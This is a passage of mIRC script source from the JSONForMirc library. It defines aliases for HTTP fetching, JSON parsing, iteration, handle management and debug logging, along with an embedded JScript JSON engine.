  2301.     %Method = $regsubex($2,/(^\s+)|(\s*)$/g,)
  2302.     if (!$len(%Method)) { %Error = INVALID_METHOD }
  2303.     elseif ($jfm_Exec(%Com,httpSetMethod,%Method)) { %Error = $v1 }
  2304.   }
  2305.   :error
  2306.   if ($error) { %Error = $v1 }
  2307.   reseterror
  2308.   if (%Error) { hadd -mu0 SReject/JSONForMirc Error %Error | jfm_log -EeDF %Error }
  2309.   else { jfm_log -EsDF Set Method to $+(',%Method,') }
  2310. }
  2311. alias JSONHttpHeader {
  2312.   if ($isid) { return }
  2313.   if ($hget(SReject/JSONForMirc,Error)) { hdel SReject/JSONForMirc Error }
  2314.   var %Error,%Com,%Header
  2315.   jfm_log -I /JSONHttpHeader $1-
  2316.   if ($jfm_ComInit) { %Error = $v1 }
  2317.   elseif ($0 < 3) { %Error = PARAMETER_MISSING }
  2318.   elseif ($regex($1,/(?:^\d+$)|[*:? ]/i)) { %Error = INVALID_NAME }
  2319.   elseif (!$com(JSON: $+ $1)) { %Error = HANDLE_DOES_NOT_EXIST }
  2320.   else {
  2321.     %Com = JSON: $+ $1
  2322.     %Header = $regsubex($2,/(^\s+)|(\s*:\s*$)/g,)
  2323.     if (!$len($2)) { %Error = HEADER_EMPTY }
  2324.     elseif ($regex($2,[\r:\n])) { %Error = HEADER_INVALID }
  2325.     elseif ($jfm_Exec(%Com,httpSetHeader,%Header,$3-)) { %Error = $v1 }
  2326.   }
  2327.   :error
  2328.   if ($error) { %Error = $v1 }
  2329.   reseterror
  2330.   if (%Error) { hadd -mu0 SReject/JSONForMirc Error %Error | jfm_log -EeDF %Error }
  2331.   else { jfm_log -EsDF Stored Header $+(',%Header,: $3-,') }
  2332. }
  2333. alias JSONHttpFetch {
  2334.   if ($isid) { return }
  2335.   if ($hget(SReject/JSONForMirc,Error)) { hdel SReject/JSONForMirc Error }
  2336.   var %Switches,%Error,%Com,%BVar,%BUnset
  2337.   jfm_log -I /JSONHttpFetch $1-
  2338.   if (-* iswm $1) { %Switches = $mid($1,2-) | tokenize 32 $2- }
  2339.   if ($jfm_ComInit) { %Error = $v1 }
  2340.   if ($0 == 0) || (%Switches != $null && $0 < 2) { %Error = PARAMETER_MISSING }
  2341.   elseif ($regex(%Switches,([^bf]))) { %Error = SWITCH_INVALID: $+ $regml(1) }
  2342.   elseif ($regex($1,/(?:^\d+$)|[*:? ]/i)) { %Error = NAME_INVALID }
  2343.   elseif (!$com(JSON: $+ $1)) { %Error = HANDLE_DOES_NOT_EXIST }
  2344.   elseif (b isincs %Switches) && (&* !iswm $2 || $0 > 2) { %Error = BVAR_INVALID }
  2345.   elseif (f isincs %Switches) && (!$isfile($2-)) { %Error = FILE_DOESNOT_EXIST }
  2346.   elseif (f isincs %Switches) && (!$lines($2-)) { %Error = FILE_EMPTY }
  2347.   else {
  2348.     %Com = JSON: $+ $1
  2349.     if ($0 > 1) {
  2350.       %BVar = $jfm_TmpBVar
  2351.       %BUnset = $true
  2352.       if (b isincs %Switches) { %BVar = $2 | %BUnset = $false }
  2353.       elseif (f isincs %Switches) { bread $qt($file($2-).longfn) 0 $file($2-).size %BVar }
  2354.       else { bset -t %BVar 1 $2- }
  2355.       %Error = $jfm_Exec(%Com, httpSetData,& %BVar).fromBvar
  2356.     }
  2357.     if (!%Error) { %Error = $jfm_Exec(%Com,parse) }
  2358.   }
  2359.   :error
  2360.   if ($error) { %Error = $error }
  2361.   reseterror
  2362.   if (%BUnset) { bunset %BVar }
  2363.   if (%Error) { hadd -mu0 SReject/JSONForMirc Error %Error | jfm_log -EeDF %Error }
  2364.   else { jfm_log -EsDF Http Data retrieved }
  2365. }
  2366. alias JSONClose {
  2367.   if ($isid) { return }
  2368.   if ($hget(SReject/JSONForMirc,Error)) { hdel SReject/JSONForMirc Error }
  2369.   var %Switches,%Error,%Match,%Com,%X 1
  2370.   jfm_log -I /JSONClose $1-
  2371.   if (-* iswm $1) { %Switches = $mid($1, 2-) | tokenize 32 $2- }
  2372.   if ($0 < 1) { %Error = PARAMTER_MISSING }
  2373.   elseif ($0 > 1) { %Error = PARAMETER_INVALID }
  2374.   elseif ($regex(%Switches,/([^w])/)) { %Error = SWITCH_UNKNOWN: $+ $regml(1) }
  2375.   elseif (: isin $1) && (w isincs %Switches || JSON:* !iswmcs $1) { %Error = PARAMETER_INVALID }
  2376.   else {
  2377.     %Match = $1
  2378.     if (JSON:* iswmcs $1) { %Match = $gettok($1,2-,58) }
  2379.     %Match = $replacecs(%Match,\E,\E\\E\Q)
  2380.     if (w isincs %Switches) { %Match = $replacecs(%Match,?,\E[^:]\Q,*,\E[^:]*\Q) }
  2381.     %Match = /^JSON:\Q $+ %Match $+ \E(?::\d+)?$/i
  2382.     %Match = $replacecs(%Match,\Q\E,)
  2383.     while (%X <= $com(0)) {
  2384.       %Com = $com(%X)
  2385.       if ($regex(%Com,%Match)) {
  2386.         .comclose %Com
  2387.         if ($timer(%Com)) { .timer $+ %Com off }
  2388.         jfm_log Closed %Com
  2389.       }
  2390.       else { inc %X }
  2391.     }
  2392.   }
  2393.   :error
  2394.   if ($error) { %Error = $error }
  2395.   reseterror
  2396.   if (%Error) { hadd -mu0 SReject/JSONForMirc Error %Error | jfm_log -EeD /JSONClose %Error }
  2397.   else { jfm_log -EsD All matching handles closed }
  2398. }
  2399. alias JSONList {
  2400.   if ($isid) { return }
  2401.   var %X 1,%I 0
  2402.   jfm_log /JSONList $1-
  2403.   while ($com(%X)) {
  2404.     if (JSON:?* iswm $v1) { inc %I | echo $color(info) -age * $chr(35) $+ %I $+ : $v2 }
  2405.     inc %X
  2406.   }
  2407.   if (!%I) { echo $color(info) -age * No active JSON handlers }
  2408. }
  2409. alias JSONShutDown {
  2410.   if ($isid) { return }
  2411.   JSONClose -w *
  2412.   if ($JSONDebug) { JSONDebug off }
  2413.   if ($window(@SReject/JSONForMirc/Log)) { close -@ $v1 }
  2414.   if ($com(SReject/JSONForMirc/JSONEngine)) { .comclose $v1 }
  2415.   if ($com(SReject/JSONForMirc/JSONShell)) { .comclose $v1 }
  2416.   if ($hget(SReject/JSONForMirc)) { hfree $v1 }
  2417. }
  2418. alias JSON {
  2419.   if (!$isid) { return }
  2420.   if ($hget(SReject/JSONForMirc, Error)) { hdel SReject/JSONForMirc Error }
  2421.   var %X,%Args,%Params,%Error,%Com,%I 0,%Prefix,%Prop,%Suffix,%Offset 2,%Type,%Output,%Result,%ChildCom,%Call
  2422.   if (*ToFile iswm $prop) { %Offset = 3 }
  2423.   if ($JSONDebug) {
  2424.     %X = 1
  2425.     while (%X <= $0) {
  2426.       if (%Args !== $null) { %Args = %Args $+ $chr(44) }
  2427.       %Args = %Args $+ $evalnext($ $+ %X)
  2428.       if (%X >= %Offset) { %Params = %Params $+ ,bstr,$ $+ %X }
  2429.       inc %X
  2430.     }
  2431.   }
  2432.   elseif ($0 >= %Offset) {
  2433.     %X = %Offset
  2434.     while (%X <= $0) { %Params = %Params $+ ,bstr,$ $+ %X | inc %X }
  2435.   }
  2436.   jfm_log -I $!JSON( $+ %Args $+ ) $+ $iif($prop !== $null, . $+ $prop)
  2437.   if (!$0) || ($0 == 1 && $1 == $null) { %Error = PARAMETER_MISSING | goto error }
  2438.   if ($0 == 1) && ($1 == 0) && ($prop !== $null) { %Error = PROP_NOT_APPLICABLE | goto error }
  2439.   if ($regex(name,$1,/^JSON:[^:?*]+(?::\d+)?$/i)) { %Com = $1 }
  2440.   elseif (: isin $1 || * isin $1 || ? isin $1) || ($1 == 0 && $0 !== 1) { %Error = INVALID_NAME }
  2441.   elseif ($1 isnum 0- && . !isin $1) {
  2442.     %X = 1
  2443.     while ($com(%X)) {
  2444.       if ($regex($v1,/^JSON:[^:]+$/)) {
  2445.         inc %I
  2446.         if (%I === $1) { %Com = $com(%X) | break }
  2447.       }
  2448.       inc %X
  2449.     }
  2450.     if ($1 === 0) { jfm_log -EsDF %I | return %I }
  2451.   }
  2452.   else { %Com = JSON: $+ $1 }
  2453.   if (!%Error) && (!$com(%Com)) { %Error = HANDLER_NOT_FOUND }
  2454.   elseif (* isin $prop) || (? isin $prop) { %Error = INVALID_PROP }
  2455.   else {
  2456.     if ($regex($prop, /^((?:fuzzy)?)(.*?)((?:to(?:bvar|file))?)?$/i)) { %Prefix = $regml(1) | %Prop = $regml(2) | %Suffix = $regml(3) }
  2457.     %Prop = $regsubex(%Prop, /^url/i, http)
  2458.     if (%Suffix == tofile) {
  2459.       if ($0 < 2) { %Error = INVALID_PARAMETERS }
  2460.       elseif (!$len($2) || $isfile($2) || (!$regex($2, /[\\\/]/) && " isin $2)) { %Error = INVALID_FILE }
  2461.       else { %Output = $longfn($2) }
  2462.     }
  2463.   }
  2464.   if (%Error) { goto error }
  2465.   elseif ($0 == 1) && (!$prop) { %Result = $jfm_TmpBVar | bset -t %Result 1 %Com }
  2466.   elseif (%Prop == isChild) {
  2467.     %Result = $jfm_TmpBVar
  2468.     if (JSON:?*:?* iswm %com) { bset -t %Result 1 $true }
  2469.     else { bset -t %Result 1 $false }
  2470.   }
  2471.   elseif ($wildtok(state|error|input|inputType|httpParse|httpHead|httpStatus|httpStatusText|httpHeaders|httpBody|httpResponse,%Prop,1,124)) {
  2472.     if ($jfm_Exec(%Com,$v1)) { %Error = $v1 }
  2473.     else { %Result = $hget(SReject/JSONForMirc,Exec) }
  2474.   }
  2475.   elseif (%Prop == httpHeader) {
  2476.     if ($calc($0 - %Offset) < 0) { %Error = INVALID_PARAMETERS }
  2477.     elseif ($jfm_Exec(%Com,httpHeader,$evalnext($ $+ %Offset))) { %Error = $v1 }
  2478.     else { %Result = $hget(SReject/JSONForMirc,Exec) }
  2479.   }
  2480.   elseif (%Prop == $null) || ($wildtok(path|pathLength|type|isContainer|length|value|string|debug, %Prop, 1, 124)) {
  2481.     %Prop = $v1
  2482.     if ($0 >= %Offset) {
  2483.       %ChildCom = JSON: $+ $gettok(%Com,2,58) $+ :
  2484.       %X = $ticks $+ 000000
  2485.       while ($com(%ChildCom $+ %X)) { inc %X }
  2486.       %ChildCom = %ChildCom $+ %X
  2487.       %Call = $!com( $+ %Com $+ ,walk,1,bool, $+ $iif(fuzzy == %Prefix,$true,$false) $+ %Params $+ ,dispatch* %ChildCom $+ )
  2488.       jfm_log %Call
  2489.       if (!$evalnext(%Call)) || ($comerr) || (!$com(%ChildCom)) { %Error = $jfm_GetError | goto error }
  2490.       .timer $+ %ChildCom -iom 1 0 JSONClose %ChildCom
  2491.       %Com = %ChildCom
  2492.       jfm_log
  2493.     }
  2494.     if (!%Prop) { %Result = $jfm_TmpBVar | bset -t %Result 1 %Com }
  2495.     elseif (%Prop !== value) {
  2496.       if ($jfm_Exec(%Com,$v1)) { %Error = $v1 }
  2497.       else { %Result = $hget(SReject/JSONForMirc,Exec) }
  2498.     }
  2499.     elseif ($jfm_Exec(%Com,type)) { %Error = $v1 }
  2500.     elseif ($bvar($hget(SReject/JSONForMirc,Exec),1-).text == object) || ($v1 == array) { %Error = INVALID_TYPE }
  2501.     elseif ($jfm_Exec(%Com,value)) { %Error = $v1 }
  2502.     else { %Result = $hget(SReject/JSONForMirc,Exec) }
  2503.   }
  2504.   else { %Error = UNKNOWN_PROP }
  2505.   if (!%Error) {
  2506.     if (%Suffix == tofile) { bwrite $qt(%Output) -1 -1 %Result | bunset %Result | %Result = %Output }
  2507.     elseif (%Suffix !== tobvar) { %Result = $bvar(%Result,1,4000).text }
  2508.   }
  2509.   :error
  2510.   if ($error) { %Error = $error }
  2511.   reseterror
  2512.   if (%Error) { hadd -mu0 SReject/JSONForMirc Error %Error | jfm_log -EeDF %Error }
  2513.   else { jfm_log -EsDF %Result | return %Result }
  2514. }
  2515. alias JSONForEach {
  2516.   if (!$isid) { return }
  2517.   if ($hget(SReject/JSONForMirc,Error)) { hdel SReject/JSONForMirc Error }
  2518.   var %Error,%Log,%Call,%X 0,%JSON,%Com,%ChildCom,%Result 0,%Name
  2519.   %Log = $!JSONForEach(
  2520.   if ($prop == walk) { %Call = ,forEach,1,bool,$true,bool,$false }
  2521.   elseif ($prop == fuzzy) { %Call = ,forEach,1,bool,$false,bool,$true }
  2522.   else { %Call = ,forEach,1,bool,$false,bool,$false }
  2523.   while (%X < $0) {
  2524.     inc %X
  2525.     %Log = %Log $+ $evalnext($ $+ %X) $+ ,
  2526.     if (%X > 2) { %Call = %Call $+ ,bstr, $+ $ $+ %X }
  2527.   }
  2528.   jfm_log -I $left(%Log,-1) $+ $chr(41) $+ $iif($prop !== $null,. $+ $v1)
  2529.   if ($0 < 2) { %Error = INVAID_PARAMETERS }
  2530.   elseif ($1 == 0) { %Error = INVALID_HANDLER }
  2531.   elseif ($prop !== $null) && ($prop !== walk) && ($prop !== fuzzy) { %Error = INVALID_PROPERTY }
  2532.   elseif ($0 > 2) && ($prop == walk) { %Error = PARAMETERS_NOT_APPLICABLE }
  2533.   elseif (!$1) || ($1 == 0) || (!$regex($1,/^((?:[^?:*]+)|(?:JSON:[^?:*]+(?::\d+)))$/)) { %Error = NAME_INVALID }
  2534.   else {
  2535.     if (JSON:?* iswm $1) { %JSON = $com($1) }
  2536.     elseif ($regex($1,/^\d+$/i)) {
  2537.       %X = 1
  2538.       %JSON = 0
  2539.       while ($com(%X)) {
  2540.         if ($regex($1,/^JSON:[^?*:]+$/)) {
  2541.           inc %JSON
  2542.           if (%JSON == $1) { %JSON = $com(%X) | break }
  2543.           elseif (%X == $com(0)) { %JSON = $null }
  2544.         }
  2545.         inc %X
  2546.       }
  2547.     }
  2548.     else { %JSON = $com(JSON: $+ $1) }
  2549.     if (!%JSON) { %Error = HANDLE_NOT_FOUND }
  2550.     else {
  2551.       %Com = $gettok(%JSON,1-2,58) $+ :
  2552.       %X = $ticks $+ 000000
  2553.       while ($com(%Com $+ %X)) { inc %X }
  2554.       %Com = %Com $+ %X
  2555.       %Call = $!com( $+ %JSON $+ %Call $+ ,dispatch* %Com $+ )
  2556.       jfm_log %Call
  2557.       if (!$evalnext(%Call)) || ($comerr) || (!$com(%Com)) { %Error = $jfm_GetError }
  2558.       else {
  2559.         .timer $+ %Com -iom 1 0 JSONClose $unsafe(%Com)
  2560.         if (!$com(%Com, length, 2)) || ($comerr) { %Error = $jfm_GetError }
  2561.         elseif ($com(%Com).result) {
  2562.           %Result = $v1
  2563.           %X = 0
  2564.           %ChildCom = $gettok(%Com,1-2,58) $+ :
  2565.           %Name = $ticks
  2566.           while ($com(%ChildCom $+ %Name)) { inc %Name }
  2567.           %Name = %ChildCom $+ %Name
  2568.           hinc -m SReject/JSONForMirc ForEach/Index
  2569.           hadd -m SReject/JSONForMirc ForEach/ $+ $hget(SReject/JSONForMirc,ForEach/Index) %Name
  2570.           while (%X < %Result) {
  2571.             if (!$com(%Com,%X,2,dispatch* %Name) || $comerr) { %Error = $jfm_GetError | break }
  2572.             jfm_log -I Calling $1 %Name
  2573.             $2 %Name
  2574.             .comclose %Name
  2575.             jfm_log -D
  2576.             inc %X
  2577.           }
  2578.           hdel SReject/JSONForMirc ForEach/ $+ $hget(SReject/JSONForMirc, ForEach/Index)
  2579.           hdec SReject/JSONForMirc ForEach/Index
  2580.           if ($hget(SReject/JSONForMirc, ForEach/Index) == 0) { hdel SReject/JsonForMirc ForEach/Index }
  2581.         }
  2582.       }
  2583.     }
  2584.   }
  2585.   :error
  2586.   if ($error) { %Error = $error }
  2587.   reseterror
  2588.   if (%Error) {
  2589.     if ($com(%Com)) { .comclose $v1 }
  2590.     if (JSON:* iswm %Name && $com(%Name)) { .comclose %Name }
  2591.     hadd -mu0 SReject/JSONForMirc Error %Error
  2592.     jfm_log -EeDF %Error
  2593.   }
  2594.   else { jfm_log -EsDF %Result | return %Result }
  2595. }
  2596. alias JSONItem {
  2597.   var %Com = $hget(SReject/JSONForMirc,ForEach/ $+ $hget(SReject/JSONForMirc,ForEach/Index)),%Type,%Bvar,%Text
  2598.   if (!$isid || !%Com || !$com(%Com)) { return }
  2599.   if ($1 == Value || $1 == Valuetobvar) {
  2600.     %BVar = $jfm_TmpBVar
  2601.     noop $com(%Com, value, 1) $Com(%Com, %BVar).result
  2602.     if ($1 == valuetobvar) { return %Bvar }
  2603.     %Text = $bvar(%BVar, 1, 4000).text
  2604.     bunset %BVar
  2605.     return %Text
  2606.   }
  2607.   elseif ($1 == Length) { noop $com(%Com, length, 1) | return $com(%Com).result }
  2608.   elseif ($1 == Type || $1 == IsContainer) {
  2609.     noop $com(%Com, type, 1)
  2610.     %Type = $com(%Com).result
  2611.     if ($1 == type) { return %Type }
  2612.     if (%Type == Object || %Type == Array) { return $true }
  2613.     return $false
  2614.   }
  2615. }
  2616. alias JSONPath {
  2617.   if (!$isid) return
  2618.   if ($hget(SReject/JSONForMirc,Error)) { hdel SReject/JSONForMirc Error }
  2619.   var %Error,%Param,%X 0,%JSON,%Result
  2620.   while (%X < $0) { inc %X | %Param = %Param $+ $evalnext($ $+ %X) $+ , }
  2621.   jfm_log -I $!JSONPath( $+ $left(%Param,-1) $+ )
  2622.   if ($0 !== 2) { %Error = INVALID_PARAMETERS }
  2623.   elseif ($prop !== $null) { %Error = PROP_NOT_APPLICABLE }
  2624.   elseif (!$1) || ($1 == 0) || (!$regex($1, /^(?:(?:JSON:[^?:*]+(?::\d+)*)?|([^?:*]+))$/i)) { %Error = NAME_INVALID }
  2625.   elseif ($2 !isnum 0-) || (. isin $2) { %Error = INVALID_INDEX }
  2626.   else {
  2627.     %JSON = $JSON($1)
  2628.     if ($JSONError) { %Error = $v1 }
  2629.     elseif (!%JSON) { %Error = HANDLER_NOT_FOUND }
  2630.     elseif ($JSON(%JSON).pathLength == $null) { %Error = $JSONError }
  2631.     else {
  2632.       %Result = $v1
  2633.       if (!$2) { noop }
  2634.       elseif ($2 > %Result) { unset %Result }
  2635.       elseif (!$com(%JSON, pathAtIndex, 1, bstr, $calc($2 -1))) || ($comerr) { %Error = $jfm_GetError }
  2636.       else { %Result = $com(%JSON).result }
  2637.     }
  2638.   }
  2639.   :error
  2640.   if ($error) { %Error = $v1 }
  2641.   reseterror
  2642.   if (%Error) { hadd -mu0 SReject/JSONForMirc Error %Error | jfm_log -EeDF %Error }
  2643.   else { jfm_log -EsDF %Result | return %Result }
  2644. }
  2645. alias JSONError { if ($isid) { return $replace($hget(SReject/JSONForMirc,Error),$chr(9),$chr(32),$chr(10),$chr(32),$chr(13),$chr(32)) } }
  2646. alias JSONVersion {
  2647.   if ($isid) {
  2648.     var %Ver 1.0.4000
  2649.     if ($0) { return %Ver }
  2650.     return SReject/JSONForMirc v $+ %Ver
  2651.   }
  2652. }
  2653. alias JSONDebug {
  2654.   var %State $false, %Aline aline $color(info2) @SReject/JSONForMirc/Log
  2655.   if ($group(#SReject/JSONForMirc/Log) == on) {
  2656.     if (!$window(@SReject/JSONForMirc/Log)) { .disable #SReject/JSONForMirc/log }
  2657.     else { %State = $true }
  2658.   }
  2659.   if ($isid) { return %State }
  2660.   elseif (!$0) || ($1 == toggle) {
  2661.     if (%State) { tokenize 32 disable }
  2662.     else { tokenize 32 enable }
  2663.   }
  2664.   if ($1 == on) || ($1 == enable) {
  2665.     if (%State) { echo $color(info).dd -atngq * /JSONDebug: debug already enabled | return }
  2666.     .enable #SReject/JSONForMirc/Log
  2667.     %State = $true
  2668.   }
  2669.   elseif ($1 == off) || ($1 == disable) {
  2670.     if (!%State) { echo $color(info).dd -atngq * /JSONDebug: debug already disabled | return }
  2671.     .disable #SReject/JSONForMirc/Log
  2672.     %State = $false
  2673.   }
  2674.   else { echo $color(info).dd -atng * /JSONDebug: Unknown input | return }
  2675.   if (%State) {
  2676.     if (!$window(@SReject/JSONForMirc/Log)) { window -zk0ej10000 @SReject/JSONForMirc/Log }
  2677.     %Aline Debug now enabled - $JSONVersion
  2678.     if ($~adiircexe) { %Aline AdiIRC v $+ $version $iif($beta, beta $builddate) $bits $+ bit }
  2679.     else { %Aline mIRC v $+ $version $iif($beta, beta $v1) $bits $+ bit }
  2680.     %Aline -
  2681.   }
  2682.   elseif ($window(@SReject/JSONForMirc/Log)) { %aline [JSONDebug] Debug now disabled }
  2683.   window -b @SReject/JSONForMirc/Log
  2684. }
  2685. alias -l jfm_TmpBVar {
  2686.   var %N $ticks $+ 00000
  2687.   jfm_log -I $!jfm_TmpBVar
  2688.   while ($bvar(&SReject/JSONForMirc/Tmp $+ %N)) { inc %N }
  2689.   jfm_log -EsD &SReject/JSONForMirc/Tmp $+ %N
  2690.   return &SReject/JSONForMirc/Tmp $+ %N
  2691. }
  2692. alias -l jfm_ComInit {
  2693.   var %Error,%Js $jfm_TmpBVar
  2694.   jfm_log -I $!jfm_ComInit
  2695.   if ($com(SReject/JSONForMirc/JSONShell) && $com(SReject/JSONForMirc/JSONEngine)) { jfm_log -EsD Already Initialized | return }
  2696.   jfm_jscript %Js
  2697.   if ($com(SReject/JSONForMirc/JSONEngine)) { .comclose $v1 }
  2698.   if ($com(SReject/JSONForMirc/JSONShell)) { .comclose $v1 }
  2699.   if ($~adiircexe !== $null) && ($bits == 64) { .comopen SReject/JSONForMirc/JSONShell ScriptControl }
  2700.   else { .comopen SReject/JSONForMirc/JSONShell MSScriptControl.ScriptControl }
  2701.   if (!$com(SReject/JSONForMirc/JSONShell)) || ($comerr) { %Error = SCRIPTCONTROL_INIT_FAIL }
  2702.   elseif (!$com(SReject/JSONForMirc/JSONShell, language, 4, bstr, jscript)) || ($comerr) { %Error = LANGUAGE_SET_FAIL }
  2703.   elseif (!$com(SReject/JSONForMirc/JSONShell, AllowUI, 4, bool, $false)) || ($comerr) { %Error = ALLOWIU_SET_FAIL }
  2704.   elseif (!$com(SReject/JSONForMirc/JSONShell, timeout, 4, integer, -1)) || ($comerr) { %Error = TIMEOUT_SET_FAIL }
  2705.   elseif (!$com(SReject/JSONForMirc/JSONShell, ExecuteStatement, 1, &bstr, %Js)) || ($comerr) { %Error = JSCRIPT_EXEC_FAIL }
  2706.   elseif (!$com(SReject/JSONForMirc/JSONShell, Eval, 1, bstr, this, dispatch* SReject/JSONForMirc/JSONEngine)) || ($comerr) || (!$com(SReject/JSONForMirc/JSONEngine)) { %Error = ENGINE_GET_FAIL }
  2707.   :error
  2708.   if ($error) { %Error = $v1 | reseterror }
  2709.   if (%Error) {
  2710.     if ($com(SReject/JSONForMirc/JSONEngine)) { .comclose $v1 }
  2711.     if ($com(SReject/JSONForMirc/JSONShell)) { .comclose $v1 }
  2712.     jfm_log -EeD %Error
  2713.     return %Error
  2714.   }
  2715.   else { hadd -m SReject/JSONForMirc bvar 0 | hadd -m SReject/JSONForMirc com 0 | jfm_log -EsD Successfully initialized }
  2716. }
  2717. alias -l jfm_ToggleTimers {
  2718.   var %X 1,%Timer
  2719.   while ($timer(%X)) {
  2720.     %Timer = $v1
  2721.     if ($regex(%Timer,/^JSON:[^\?\*\:]+$/i)) { .timer $+ %Timer $1 }
  2722.     inc %X
  2723.   }
  2724. }
  2725. alias -l jfm_GetError {
  2726.   var %Error = UNKNOWN
  2727.   jfm_log -I $!jfm_GetError
  2728.   if ($com(SReject/JSONForMirc/JSONShell).errortext) { %Error = $v1 }
  2729.   if ($com(SReject/JSONForMirc/JSONShellError)) { .comclose SReject/JSONForMirc/JSONShellError }
  2730.   if ($com(SReject/JSONForMirc/JSONShell,Error,2,dispatch* SReject/JSONForMirc/JSONShellError)) && (!$comerr) && ($com(SReject/JSONForMirc/JSONShellError)) && ($com(SReject/JSONForMirc/JSONShellError,Description,2)) && (!$comerr) && ($com(SReject/JSONForMirc/JSONShellError).result !== $null) { %Error = $v1 }
  2731.   if ($com(SReject/JSONForMirc/JSONShellError)) { .comclose SReject/JSONForMirc/JSONShellError }
  2732.   jfm_log -EsD %Error
  2733.   return %Error
  2734. }
  2735. alias -l jfm_Create {
  2736.   var %Wait $iif(1 & $4,$true,$false),%Parse $iif(2 & $4,$false,$true),%Error
  2737.   jfm_log -I $!jfm_create( $+ $1 $+ , $+ $2 $+ , $+ $3 $+ , $+ $4 $+ , $+ $5 $+ )
  2738.   if (!$com(SReject/JSONForMirc/JSONEngine,JSONCreate,1,bstr,$2,&bstr,$3,bool,%Parse,dispatch* $1)) || ($comerr) || (!$com($1)) { %Error = $jfm_GetError }
  2739.   elseif ($2 !== http) || ($2 == http && !%Wait) { %Error = $jfm_Exec($1,parse) }
  2740.   if (%Error) { jfm_log -EeD %Error | return %Error }
  2741.   jfm_log -EsD Created $1
  2742. }
  2743. alias -l jfm_Exec {
  2744.   var %Args,%Index 0,%Params,%Error
  2745.   if ($hget(SReject/JSONForMirc,Exec)) { hdel SReject/JSONForMirc Exec }
  2746.   while (%Index < $0) {
  2747.     inc %Index
  2748.     %Args = %Args $+ $iif($len(%Args),$chr(44)) $+ $evalnext($ $+ %Index)
  2749.     if (%Index >= 3) {
  2750.       if ($prop == fromBvar) && ($regex($evalnext($ $+ %Index),/^& (&\S+)$/)) { %Params = %Params $+ ,&bstr, $+ $regml(1) }
  2751.       else { %Params = %Params $+ ,bstr,$ $+ %Index }
  2752.     }
  2753.   }
  2754.   %Params = $!com($1,$2,1 $+ %Params $+ )
  2755.   jfm_log -I $!jfm_Exec( $+ %Args $+ )
  2756.   if (!$evalnext(%Params) || $comerr) { %Error = $jfm_GetError | jfm_log -EeD %Error | return %Error }
  2757.   else { hadd -mu0 SReject/JSONForMirc Exec $jfm_TmpBVar | noop $com($1, $hget(SReject/JSONForMirc, Exec)).result | jfm_log -EsD Result stored in $hget(SReject/JSONForMirc,Exec) }
  2758. }
  2759. #SReject/JSONForMirc/Log off
  2760. alias -l jfm_log {
  2761.   var %Switches,%Prefix ->,%Color 03,%Indent
  2762.   if (!$window(@SReject/JSONForMirc/Log)) {
  2763.     .JSONDebug off
  2764.     if ($hget(SReject/JSONForMirc,LogIndent)) { hdel SReject/JSONForMirc LogIndent }
  2765.   }
  2766.   else {
  2767.     if (-?* iswm $1) { %Switches = $mid($1, 2-) | tokenize 32 $2- }
  2768.     if (i isincs %Switches) { hinc -mu1 SReject/JSONForMirc LogIndent }
  2769.     if ($0) {
  2770.       if (E isincs %Switches) { %Prefix = <- }
  2771.       if (e isincs %Switches) { %Color = 04 }
  2772.       elseif (s isincs %Switches) { %Color = 12 }
  2773.       elseif (l isincs %Switches) { %Color = 13 }
  2774.       %Prefix = $chr(3) $+ %Color $+ %Prefix
  2775.       if (F !isincs %Switches) { %Prefix = %Prefix $+ $chr(15) }
  2776.       %Indent = $str($chr(15) $+ $chr(32), $calc($hget(SReject/JSONForMirc, LogIndent) *4))
  2777.       echo -gi $+ $calc(($hget(SReject/JSONForMirc, LogIndent) + 1) * 4 -1) @SReject/JSONForMirc/Log %Indent %Prefix $1-
  2778.     }
  2779.     if (I isincs %Switches) { hinc -mu1 SReject/JSONForMirc LogIndent 1 }
  2780.     if (D isincs %Switches) && ($hget(SReject/JSONForMirc, LogIndent) > 0) { hdec -mu1 SReject/JSONForMirc LogIndent 1 }
  2781.   }
  2782. }
  2783. #SReject/JSONForMirc/Log end
  2784. alias -l jfm_log noop
  2785. alias -l jfm_SaveDebug {
  2786.   if ($isid) {
  2787.     if ($window(@SReject/JSONForMirc/Log)) && ($line(@SReject/JSONForMirc/Log, 0)) { return $true }
  2788.     return $false
  2789.   }
  2790.   var %File $sfile($envvar(USERPROFILE) $+ \Documents\JSONForMirc.log, JSONForMirc - Debug window, Save)
  2791.   if (%File) && (!$isfile(%File) || $input(Are you sure you want to overwrite $nopath(%File) $+ ?, qysa, @SReject/JSONForMirc/Log, Overwrite)) { savebuf @SReject/JSONForMirc/Log $qt(%File) }
  2792. }
  2793. alias -l jfm_badd { bset -t $1 $calc(1 + $bvar($1, 0)) $2- }
  2794. alias -l jfm_jscript {
  2795.   jfm_badd $1 !function(){Array.prototype.forEach=function(c){for(var s=this,i=0;i<s.length;i++)c.call(s,s[i],i)};Array.prototype.find=function(c){for(var s=this,i=0;i<s.length;i+=1)if(c.call(s,s[i]))return s[i]};I=['MSXML2.SERVERXMLHTTP.6.0','MSXML2.SERVERXMLHTTP.3.0','MSXML2.SERVERXMLHTTP'].find(function(x){try{return new ActiveXObject(x),x}catch(e){}});function A(o){if(o===null)return 'null';return Object.prototype.toString.call(o).match(/^\[object ([^\]]+)\]$/)[1].toLowerCase()}function B(o){var k=[],i;for(i in o)if(C(o,i))k.push(i);return k}
  2796.   jfm_badd $1 function C(o,k){return Object.prototype.hasOwnProperty.call(o,k)}
  2797.   jfm_badd $1 function D(s){if(s._state!=='done'||s._error||!s._parse)throw new Error('NOT_D');return s}
  2798.   jfm_badd $1 function E(s){if(s._type!=='http')throw new Error('HTTP_NOT_INUSE');if(s._state!=='http_pending')throw new Error('HTTP_NOT_PENDING');return s._http}
  2799.   jfm_badd $1 function F(s){if(s._type!=='http')throw new Error('HTTP_NOT_INUSE');if(s._state!=='done')throw new Error('HTTP_PENDING');return s._http}
  2800.   jfm_badd $1 function G(v){var t=A(v),r='[';if(v===undefined||t==='function')return;if(v===null)return'null';if(t==='number')return isFinite(v)?v.toString():'null';if(t==='boolean')return v.toString();if(t==='string')return'"'+v.replace(/[\\"\u0000-\u001F\u2028\u2029]/g,function(c){return{'"':'\\"','\\':'\\\\','\b':'\\b','\f':'\\f','\n':'\\n','\r':'\\r','\t':'\\t'}[c]||'\\u'+(c.charCodeAt(0)+0x10000).toString(16).substr(1)})+'"';if(t==='array'){v.forEach(function(i,k){i=G(i);if(i)r+=(k?',':'')+i});return r+']'}r=[];B(v).forEach(function(k,o){o=G(v[k]);if(o)r.push(G(k)+':'+o)});return'{'+r.join(',')+'}'}
